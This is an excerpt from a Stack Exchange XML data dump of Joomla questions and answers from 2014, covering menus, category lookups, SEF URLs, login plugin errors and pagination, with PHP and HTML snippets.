  <row Id="843" PostTypeId="2" ParentId="828" CreationDate="2014-05-14T18:26:08.200" Score="3" Body="&lt;p&gt;This issue is caused by blank src attributes of a few tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* &amp;lt;script src=&quot;&quot;&amp;gt;&#xA;* &amp;lt;iframe src=&quot;&quot;&amp;gt;&#xA;* &amp;lt;link href=&quot;&quot;&amp;gt;&#xA;* &amp;lt;img src=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever any media/page is referred with a blank source, it requests the current URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that you have &lt;code&gt;&amp;lt;img src=&quot;&quot;&amp;gt;&lt;/code&gt; on the page at&#xA;&lt;a href=&quot;http://www.example.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/&lt;/a&gt;. The big problem is that each instance of &lt;code&gt;&amp;lt;img src=&quot;&quot;&amp;gt;&lt;/code&gt;&#xA;makes a request to &lt;code&gt;/&lt;/code&gt; in all browsers, which is the homepage of&#xA;the domain.&lt;/p&gt;&#xA;" OwnerUserId="144" LastEditorUserId="22" LastEditDate="2014-05-20T21:21:56.133" LastActivityDate="2014-05-20T21:21:56.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="844" PostTypeId="2" ParentId="822" CreationDate="2014-05-14T18:33:12.987" Score="0" Body="&lt;p&gt;It seems that there is no such tool to display all the access levels for all items throughout the website. So, someone will have to go through every component or in the case of following Lodder's answer through the db tables and search/filter for the items that have the Access level in question. &lt;br /&gt;&lt;br /&gt;&#xA;In my case it was the example custom html module that demonstrate the Customer Access Level. Probably this website was initially installed with the demo content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-14T18:33:12.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostTypeId="1" AcceptedAnswerId="847" CreationDate="2014-05-14T19:34:44.650" Score="2" ViewCount="204" Body="&lt;p&gt;While creating a new module, is it possible to change the default menu assignment from 'All pages' to 'no pages'? I haven't be able to find anything that would allow that switch in the global configuration, and the default being set to 'All pages' has been causing us some problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbWFt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="1629" LastEditDate="2014-07-31T15:08:06.097" LastActivityDate="2014-07-31T15:08:06.097" Title="Default menu assignment for a new module" Tags="|joomla-3.x|module|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostTypeId="2" ParentId="845" CreationDate="2014-05-14T21:07:42.250" Score="8" Body="&lt;p&gt;Advanced Module Manager by nonumber allows this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if the free version includes it but I would assume it would, in the Options for the advanced module manager you will see a settings for Default Menu Assignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also many MANY more features with it that extend the native module manager to the extreme. Worthwhile on pretty much any Joomla site.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-14T21:07:42.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="848" PostTypeId="2" ParentId="696" CreationDate="2014-05-15T02:22:19.023" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Changed htaccess.txt to .htaccess&lt;/li&gt;&#xA;&lt;li&gt;Site &gt; Global Configuration : Use URL rewriting (Choose Yes)&lt;/li&gt;&#xA;&lt;li&gt;SEO Settings Search Engine Friendly URLs(Choose Yes)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="412" LastEditorUserId="69" LastEditDate="2014-05-15T08:41:17.547" LastActivityDate="2014-05-15T08:41:17.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="849" PostTypeId="1" AcceptedAnswerId="862" CreationDate="2014-05-15T11:22:54.613" Score="4" ViewCount="5189" Body="&lt;p&gt;I want to get my current article's category and parent category link into my page.&#xA;I get the category via the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;core_catid;&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;$category = $db-&amp;gt;loadResult();&#xA;echo '&amp;lt;p&amp;gt;'.$category.'&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I do not manage to get the parent category anyway. I try this but get no results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.parent_id='$id'&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="401" LastEditorUserId="268" LastEditDate="2014-05-16T13:29:29.613" LastActivityDate="2014-05-16T13:29:29.613" Title="How to get parent category title for Tag view" Tags="|joomla-3.x|mysql|template-override|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostTypeId="1" CreationDate="2014-05-15T11:34:11.603" Score="3" ViewCount="9999" Body="&lt;p&gt;When trying to log in I am seeing the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JAuthentication: :authenticate: Failed to load plugin: plgauthenticationcookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not able to log into the front or back end with any users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started seeing this after moving the DB to a different schema on the same server.  I can log into the DB and confirm that the users all exist in the &lt;code&gt;users&lt;/code&gt; table.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where I should check to try to fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version 3.1.5&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="159" LastEditDate="2014-05-15T17:56:54.983" LastActivityDate="2019-07-10T18:11:41.647" Title="JAuthentication: :authenticate: Failed to load plugin: plgauthenticationcookie" Tags="|joomla-3.x|login|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostTypeId="2" ParentId="849" CreationDate="2014-05-15T12:55:16.087" Score="1" Body="&lt;p&gt;I think you could do this using the Content model to load the article.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Lets say the article ID is stored in $id */&#xA;&#xA;/* Get an instance of the generic articles model */&#xA;$model = JModelLegacy::getInstance('Articles', 'ContentModel');&#xA;$myArticle = $model-&amp;gt;getItem($id);&#xA;&#xA;$categoryID = $myArticle-&amp;gt;catid; /* catid = &quot;9&quot; */&#xA;$category_title = $myArticle-&amp;gt;category_title; /* category_title = &quot;Blog&quot; */&#xA;$category_alias = $myArticle-&amp;gt;category_alias; /* category_alias = &quot;blog&quot; */&#xA;&#xA;$parent_id = $myArticle-&amp;gt;parent_id; /* parent_id = &quot;1&quot; */&#xA;$parent_title = $myArticle-&amp;gt;parent_title; /* parent_title = &quot;ROOT&quot; */&#xA;$parent_alias = $myArticle-&amp;gt;parent_alias; /* parent_alias = &quot;root&quot; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The values shown in the right-hand side comments are what I just pulled out of a demo install of Joomla 3.3 with the &quot;Blog&quot; sample content installed. &lt;strong&gt;&lt;em&gt;Note&lt;/strong&gt; the value of the &lt;code&gt;root&lt;/code&gt; category.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-15T12:55:16.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="853" PostTypeId="2" ParentId="216" CreationDate="2014-05-15T13:08:20.970" Score="3" Body="&lt;p&gt;If you want to speed up performance then don't load modules that are unnecessary.  If it isn't necessary on small screens then it also isn't necessary on larger screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People with larger device displays also want a fast website that doesn't load unnecessary cruft. You are making the erroneous assumption that larger screens have more bandwidth available. They don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be a good designer and give all your users an optimised site experience, irrespective of their screen size.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-15T13:08:20.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="854" PostTypeId="2" ParentId="849" CreationDate="2014-05-15T14:00:37.050" Score="2" Body="&lt;p&gt;Surely in your article options you can just set 'Show Category', 'Link Category, 'Show Parent' and 'Link Parent' to 'Show' (category) and 'Yes' (link).&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2014-05-15T14:00:37.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="858" PostTypeId="1" AcceptedAnswerId="1083" CreationDate="2014-05-14T06:46:06.317" Score="1" ViewCount="766" Body="&lt;p&gt;I am making a Joomla! site with 3 level 1 menus that break down into multiple submenus.&lt;br&gt;&#xA;The site works wonderfully on Desktop as the sub-menus appear on hover.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On touch devices though, i am not able to make the dropdowns appear as i cannot simulate the hover event. When i tap on the level 1 items, the browser follows the links instead of opening the dropdown items.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to make them non-clickable on touch, or maybe 1st tap should open the dropdown and second tap follow the link.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried making the 1st level menus text separators or menu headings, which disables them in desktop too and works ok.&lt;br&gt;&#xA;I am ok with that but, in that case i need a way to add content to those paths, so that if someone manually enters the address gets some content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="429" OwnerDisplayName="krasatos" LastActivityDate="2014-06-01T11:14:14.523" Title="Joomla! working Dropdown menu on Touch device or, Non-clickable menu header with published content" Tags="|menu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostTypeId="1" AcceptedAnswerId="3749" CreationDate="2014-05-15T15:23:45.953" Score="0" ViewCount="251" Body="&lt;p&gt;I have a Joomla 3.3.0 site that has been upgraded from 2.5.X to 3.2.x to the current version.  When we upgraded to 3.2, we began using Tags with our content, and all seemed well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point, the tag entry system ceased using AJAX to enter tags, and switched to a scrolling list of existing tags.  I'd like to switch back to AJAX, to allow tag creation on the fly.  I've checked the Tags component, and set the Data Entry Options =&gt; Tag Entry Mode to AJAX, but the input field remains a scrolling list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template is a slightly modified version of Protostar, although I can confirm this is happening in Protostar as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help or advice you can give!&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2014-07-24T16:39:11.183" Title="Tag Entry Mode - AJAX option not working" Tags="|ajax|tags|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostTypeId="2" ParentId="850" CreationDate="2014-05-15T15:24:19.237" Score="6" Body="&lt;p&gt;First of all: Why on earth are you using Joomla 3.1.5? Current version is 3.3.0 and there are several security issues fixed since your version. You should update as soon as possible, which means you should do it yesterday. No excuses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the message. It's coming from the remember me plugin. Joomla tries to load that plugin and fails for whatever reason. You can disable the plugin which should remove the message as well (since Joomla no longer tries to load it). However the &quot;remember me&quot; checkbox will no longer work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the plugin doesn't load is hard to know. You could check the PHP error log file to see if there are any other messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best bet is to update your installation. Did I already mention that you should have done this already half a year ago?&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-15T15:24:19.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostTypeId="1" AcceptedAnswerId="2294" CreationDate="2014-05-15T17:38:41.493" Score="1" ViewCount="309" Body="&lt;p&gt;A joomla website is throwing a &lt;code&gt;404 error&lt;/code&gt;, when I try to access it root page &lt;code&gt;/index.php&lt;/code&gt;, but when I &lt;code&gt;deactivate&lt;/code&gt; the joomla built-in &lt;code&gt;sef plugin&lt;/code&gt;,&#xA;the website is accessed normally (&lt;code&gt;code 200&lt;/code&gt;).&#xA;I have tried to clear my &lt;code&gt;.htaccess&lt;/code&gt; but the error persists.&#xA;I wonder if I have to change anything in my &lt;code&gt;sef plugin&lt;/code&gt; code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also some strange redirection on the &lt;code&gt;/administrator&lt;/code&gt; page when I change some &lt;code&gt;configuration &amp;amp; save&lt;/code&gt;, the page redirected to have &lt;code&gt;'http'&lt;/code&gt;&#xA;just after host name: &lt;code&gt;http://hostname/httpadministrator&lt;/code&gt;. But because the redirection is not coming from my .htaccess I cant debug it with &lt;code&gt;RewriteLog&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm suspecting the `sef builtin plugin``. Does anyone know what can be the source of this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S:&lt;/strong&gt;&#xA;I'm using Joomla 2.5 with K2.&lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="159" LastEditDate="2014-05-15T17:50:56.483" LastActivityDate="2014-06-13T18:53:21.460" Title="Activating sef plugin throws a 404 error" Tags="|joomla-2.5|sef|.htaccess-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostTypeId="2" ParentId="849" CreationDate="2014-05-15T17:55:21.877" Score="5" Body="&lt;p&gt;Try this(tested and worked in Joomla 3.3.0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Put this code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;core_catid;&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.parent_id FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;$parent_category_id = $db-&amp;gt;loadResult();&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$parent_category_id'&quot;);&#xA;$parent_category_title = $db-&amp;gt;loadResult();&#xA;if($parent_category_title != 'ROOT'){&#xA; echo '&amp;lt;p&amp;gt;Parent Category: '.$parent_category_title.'&amp;lt;/p&amp;gt;';&#xA;}&#xA;echo '&amp;lt;p&amp;gt;Parent Category: &amp;lt;a href=&quot;index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id='.$parent_category_id.'&quot;&amp;gt;'.$parent_category_title.'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;into this file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates/yourtemplate/html/com_tags/default_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;components\com_tags\views\tags\tmpl\default_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;between this two lines&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($items as $i =&amp;gt; $item) : ?&amp;gt; //Line 63&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-15T19:01:20.997" LastActivityDate="2014-05-15T19:01:20.997" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostTypeId="1" CreationDate="2014-05-15T07:37:31.007" Score="2" ViewCount="148" Body="&lt;p&gt;I'm developing a component and want to set up multiple language support at least for the front end at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have missed something or not interpreted it correctly but in the Joomla component development tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think only adding language for the back is discussed; Under the section &quot;Adding language translation in the public site&quot; the &lt;code&gt;site/language/en-GB/en-GB.com_helloworld.ini&lt;/code&gt; file is left empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find anything else later or earlier in the tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate your help.&lt;/p&gt;&#xA;" OwnerDisplayName="Joppo" LastEditorUserId="159" LastEditDate="2014-05-19T06:14:47.267" LastActivityDate="2014-05-19T06:14:47.267" Title="How to support a new language to the front site of my component?" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="864" PostTypeId="1" AcceptedAnswerId="871" CreationDate="2014-05-14T03:52:44.577" Score="6" ViewCount="1309" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Note. It is important to remove spaces between elements.&#xA;?&amp;gt;&#xA;&amp;lt;?php // The menu class is deprecated. Use nav instead. ?&amp;gt;&#xA;&amp;lt;ul class=&quot;nav menu&amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;    $tag = '';&#xA;&#xA;    if ($params-&amp;gt;get('tag_id') != null)&#xA;    {&#xA;        $tag = $params-&amp;gt;get('tag_id') . '';&#xA;        echo ' id=&quot;' . $tag . '&quot;';&#xA;    }&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;$num = 1;&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;    $class = 'item-' . $item-&amp;gt;id;&#xA;&#xA;    if ($item-&amp;gt;id == $active_id)&#xA;    {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path))&#xA;    {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias')&#xA;    {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path) - 1])&#xA;        {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path))&#xA;        {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type == 'separator')&#xA;    {&#xA;        $class .= ' divider';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent';&#xA;    }&#xA;&#xA;    if (!empty($class))&#xA;    {&#xA;        $class = ' class=&quot;' . trim($class) . '&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li' . $class . '&amp;gt;';&#xA;&#xA;    // Render the menu item.&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'url':&#xA;        case 'component':&#xA;        case 'heading':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_' . $item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled small lvl_'.($num++).'&amp;gt;';&#xA;    }&#xA;    elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;        // The next item is shallower.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    else&#xA;    {&#xA;        // The next item is on the same level.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the important code right here. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled small lvl_'.($num++).'&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue, is that when my site initializes it adds plus 1 to every submenu layer but doesnt start over when the layers are closest to the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example&#xA;This is what I want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;ul class=&quot;lvl_1&quot;&amp;gt;&#xA;   &amp;lt;li&amp;gt;&#xA;      &amp;lt;ul class=&quot;lvl_2&quot;&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA; &amp;lt;ul class=&quot;lvl_1&quot;&amp;gt;&#xA;   &amp;lt;li&amp;gt;&#xA;      &amp;lt;ul class=&quot;lvl_2&quot;&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;ul class=&quot;lvl_1&quot;&amp;gt;&#xA;   &amp;lt;li&amp;gt;&#xA;      &amp;lt;ul class=&quot;lvl_2&quot;&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA; &amp;lt;ul class=&quot;lvl_3&quot;&amp;gt;&#xA;   &amp;lt;li&amp;gt;&#xA;      &amp;lt;ul class=&quot;lvl_4&quot;&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THis is probably super easy to fix.&lt;/p&gt;&#xA;" OwnerUserId="431" OwnerDisplayName="Cam" LastEditorUserId="155" LastEditDate="2014-05-17T15:57:03.817" LastActivityDate="2014-05-17T17:12:53.240" Title="Adding a numerical value to each submenu in Joomla" Tags="|php|menu|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="865" PostTypeId="1" AcceptedAnswerId="886" CreationDate="2014-05-13T17:47:53.287" Score="5" ViewCount="179" Body="&lt;p&gt;I am currently trying to install &lt;a href=&quot;https://github.com/PhenX/php-font-lib&quot; rel=&quot;noreferrer&quot;&gt;php-font-lib&lt;/a&gt; in joomla, i have been working with custom libraries in joomla for the last 3 hours, So I have absolutely no idea whats going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Joomla 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten it to kind of work, if i remove the namespacing from a file and call it via:&#xA;&lt;code&gt;jimport('fontlib.Font');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i tried the following:&#xA; &lt;code&gt;JLoader::registerNamespace('FontLib', JPATH_LIBRARIES . '/fontlib/');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i still can not seem to call the Font class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I am doing incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help Greatly Appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastEditorUserId="159" LastEditDate="2014-05-16T18:59:45.553" LastActivityDate="2014-05-16T18:59:45.553" Title="Installing php-font-lib in Joomla libraries namespacing" Tags="|autoload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostTypeId="2" ParentId="861" CreationDate="2014-05-15T18:48:56.717" Score="1" Body="&lt;p&gt;Maybe this can help you: &lt;a href=&quot;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to comment out &lt;code&gt;Options +FollowSymLinks&lt;/code&gt; in the htaccess file. &lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-15T18:48:56.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="867" PostTypeId="1" AcceptedAnswerId="932" CreationDate="2014-05-15T19:27:54.343" Score="7" ViewCount="3403" Body="&lt;p&gt;I'm a bit confused. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the link created by pagination in the front end, I see a query parameter called  &lt;strong&gt;start&lt;/strong&gt; included in the individual page number links and Start and End links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the method &lt;strong&gt;&lt;code&gt;populateState&lt;/code&gt;&lt;/strong&gt; in the base &lt;strong&gt;&lt;code&gt;JModelList&lt;/code&gt;&lt;/strong&gt; class looks for &lt;strong&gt;&lt;code&gt;limitstart&lt;/code&gt;&lt;/strong&gt; if &lt;strong&gt;&lt;code&gt;$this-&amp;gt;context&lt;/code&gt;&lt;/strong&gt; has a &lt;strong&gt;&lt;code&gt;non null value&lt;/code&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the base constructor for &lt;strong&gt;&lt;code&gt;JModelList&lt;/code&gt;&lt;/strong&gt; sets &lt;strong&gt;&lt;code&gt;$this-&amp;gt;context&lt;/code&gt;&lt;/strong&gt; to be equal to &lt;code&gt;&amp;lt;component_name&amp;gt;.&amp;lt;model_name&amp;gt;&lt;/code&gt; it looks like in the default case &lt;strong&gt;&lt;code&gt;$this-&amp;gt;context&lt;/code&gt;&lt;/strong&gt; will not be &lt;strong&gt;null&lt;/strong&gt;, so &lt;strong&gt;populateState&lt;/strong&gt; will usually assign the value from &lt;strong&gt;&lt;code&gt;$_GET['limitstart']&lt;/code&gt;&lt;/strong&gt; using &lt;strong&gt;&lt;code&gt;getUserStateFromRequest()&lt;/code&gt;&lt;/strong&gt; as the snipped code shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.limitstart', 'limitstart', 0);&#xA;$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);&#xA;$this-&amp;gt;setState('list.start', $limitstart); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be really grateful if someone could explain why things are done this way, and what I have to do to get &lt;strong&gt;populateState&lt;/strong&gt; and &lt;strong&gt;pagination&lt;/strong&gt; to agree on the variable that holds the row that the page should start on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA.&lt;/p&gt;&#xA;" OwnerUserId="342" LastEditorUserId="126" LastEditDate="2015-12-02T08:06:28.917" LastActivityDate="2015-12-02T08:06:28.917" Title="Pagination confusion - Pagination uses start, PopulateState uses limitstart?" Tags="|component|development|recommended-practices|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="868" PostTypeId="1" CreationDate="2014-05-15T19:44:55.207" Score="1" ViewCount="2193" Body="&lt;p&gt;For my component I added a default.xml file to create the menu item. This all works good but the URL generated for this menu item needs a few extra parameters. In my case format=raw and task=start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss how to get the menu URL to add these parameters. I tried to add them as hidden form items in the default.xml but then the parameters are added to the URL but with no value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have Joomla append these 2 parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I found the mistake I made why it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add these paramters like this:&#xA;&amp;lt; field name=&quot;task&quot; type=&quot;hidden&quot; default=&quot;start&quot;/ &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is all that is needed :)&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2014-05-16T06:16:49.320" LastActivityDate="2014-05-16T06:16:49.320" Title="How do I add URL parameters to default.xml when creating menu items?" Tags="|menu-item|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
